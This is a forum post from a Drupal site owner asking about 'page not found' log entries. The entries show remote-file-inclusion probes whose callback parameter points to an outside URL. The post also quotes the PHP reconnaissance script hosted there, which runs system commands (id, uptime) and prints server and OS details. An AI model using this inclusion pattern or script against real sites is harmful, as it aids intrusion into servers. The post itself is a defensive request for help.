PAGE NOT FOUND entries in the log. Trying to hack the site???

Hello Drupal Community,

I have a general question and I am a little bit scared about what is happening here.
I found these entries in my logs:

page not found	05/17/2008 - 03:36	node/drupal/?_menu[callbacks][1][callback]=http://ww ...	Anonymous	
page not found	05/16/2008 - 17:26	node//drupal/?_menu[callbacks][1][callback]=http://w ...	Anonymous	
page not found	05/15/2008 - 04:58	node/drupal/?_menu[callbacks][1][callback]=http://ww ...	Anonymous	
page not found	05/15/2008 - 04:58	node/drupal/?_menu[callbacks][1][callback]=http://ww ...	Anonymous	
page not found	05/15/2008 - 04:55	node/drupal/?_menu[callbacks][1][callback]=http://ww ...	Anonymous	
page not found	05/14/2008 - 20:26	node/drupal/?_menu[callbacks][1][callback]=http://ww ...	Anonymous	
page not found	05/14/2008 - 17:26	node//drupal/?_menu[callbacks][1][callback]=http://a ...	Anonymous

One of the URLs behind the [callback] is : http://1nb0x.iespana.es/t3st??? (including the ???)
And this is the PHP Code found at that site:

<? ob_clean(); ?>
<?php
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len <=6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len <=9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
   
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
                           
}

echo "kangkung<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;


echo "kangkung was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

So, what is going on here? I mean, I tested all these links by myself, after I have checked whats behind those URLs.
I am glad, that non of these accesses worked so far.

Can anyone give me a short hint, what is all about this? What are the guys behind this trying to do?
I also checked the IP Address for thier location, and most of them are coming from germany.

I hope they will never get through. And I hope this helps the Developers to make the system more stable and safe.

Thanx
DarkDexter